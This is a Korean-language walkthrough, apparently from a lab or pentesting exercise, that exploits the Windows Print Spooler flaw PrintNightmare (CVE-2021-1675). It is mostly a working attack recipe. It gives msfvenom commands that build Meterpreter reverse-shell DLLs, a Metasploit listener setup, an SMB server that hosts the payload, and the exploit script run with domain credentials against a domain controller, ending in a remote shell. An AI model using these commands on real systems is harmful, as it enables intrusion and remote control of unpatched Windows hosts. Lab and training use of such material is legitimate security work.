
CVE-2021-1675 (PrintNightmare)를 대상으로 한 Windows Print Spooler 개념 증명 익스플로잇. SMB를 통해 전달된 msfvenom 생성 악성 DLL을 사용하여 원격 코드 실행 및 Meterpreter 리버스 셸을 달성합니다.
Printer Spooler는 인쇄 큐를 관리하는 Windows 서비스입니다. 사용자가 제출한 작업을 받아 프린터가 이해할 수 있는 형식으로 변환하고, 프린터를 사용할 수 있을 때 전송합니다. 이 서비스는 높은 권한을 가진 시스템 서비스(spoolsv.exe)로 실행되므로 PrintNightmare 취약점과 같은 공격의 빈번한 대상이 됩니다.
공격자가 원격으로 프린트 스풀러를 익스플로잇하려 할 때, 호스트가 printnightmare 결함에 취약한지 확인하기 위해 impacket 패키지의 일부인 rpcdump.py라는 도구를 사용할 수 있습니다. 이는 펜테스팅 환경에서 널리 사용되는 도구 모음입니다.
❯ rpcdump.py @10.10.188.66 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
이 취약점을 익스플로잇하기 위해, 이 익스플로잇의 배포 방법은 악성 DLL입니다. "파일리스(Fileless)" 익스플로잇이라고도 알려진 이 방법을 사용하면 백신 소프트웨어와 같은 대부분의 시스템 보호를 우회할 수 있습니다. 이 공격에서는 프린트 스풀러 서비스를 속여 UNC 경로에서 새 드라이버를 설치하고 로드하도록 합니다. 우리의 경우, 이것은 공격 컴퓨터에 리버스 셸을 제공하는 악성 DLL입니다. 악성 DLL을 만들기 위해 "msfvenom"을 사용하고, 아키텍처에 따라 Windows x64 또는 x86 페이로드를 DLL에 통합하며, 로컬 호스트와 로컬 포트를 제공하여 DLL의 콜백을 위한 리스너를 시작합니다. "ifconfig"를 입력하여 컴퓨터의 IP 주소를 확인할 수 있습니다. 다음 명령을 사용하여 악성 DLL을 생성합니다.
❯ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o /home/ghost/Pentesting/Print/PrintMalicious_x64.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: /home/ghost/Pentesting/Print/PrintMalicious_x64.dll
그리고 다른 경우 아키텍처가 32비트라면 이 페이로드를 사용합니다.
❯ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o /home/ghost/Pentesting/Print/PrintMalicious_x86.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of dll file: 9216 bytes
Saved as: /home/ghost/Pentesting/Print/PrintMalicious_x86.dll
악성 DLL을 생성했으면, 다음으로 "Metasploit Framework"에서 리스너를 시작하여 DLL이 시스템에서 실행될 때 'Meterpreter' 셸을 받아야 합니다. 리스너를 시작하려면 아래 단계를 따르세요. 마지막에 'exploit -j'를 입력하여 리스너를 백그라운드에서 시작합니다.
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.10.10
LHOST => 10.10.10.10
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.10.10:443
이제 수신기를 시작했으므로, 악성 DLL 파일을 호스팅할 SMB 서버를 시작합니다. DLL 파일을 저장한 시스템 경로로 이동하여 다음 명령을 입력하여 SMB 서버를 시작합니다. 그 전에 컴퓨터에 "Impacket"이 설치되어 있는지 확인하십시오. Impacket은 Python으로 작성된 오픈 소스 모듈 모음이며, 그중 하나가 smbserver.py입니다. 이번 경우에는 이것을 사용합니다. "smbserver.py" 스크립트를 시작하고 악성 DLL 파일을 호스팅하려면, DLL을 저장한 디렉터리(제 경우 /home/ghost/Pentesting/Printer/)에서 다음 명령을 입력합니다.
❯ smbserver.py share . -smb2support
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
좋습니다. 이제 CVE-2021–1675 개념 증명(POC)을 사용하여 익스플로잇 프로세스를 시작할 준비가 되었습니다. 이를 위해 도메인 컨트롤러와 사용자 자격 증명을 제공하고, 우리 시스템에 호스팅된 악성 DLL의 UNC 경로를 함께 제공합니다.
❯ python3 CVE-2021-1675.py NetworkAD-EDU.ENGdepartment.local/jjsmith:[email protected] '\\\\10.10.10.10\\share\\PrintMalicious_x64.dll'
[*] Connecting to ncacn_np:10.10.220.93[\\PIPE\\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL
[*] Executing \\??\\UNC\\10.10.10.10\\share\\PrintMalicious_x64.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...
익스플로잇 스크립트를 실행한 지 몇 초 후, 'Metasploit'에서 시작한 리스너로 돌아가면 'Meterpreter' 세션이 열린 것을 확인할 수 있습니다. 이제 'Meterpreter 셸'을 사용하여 피해 시스템과 상호 작용할 수 있습니다.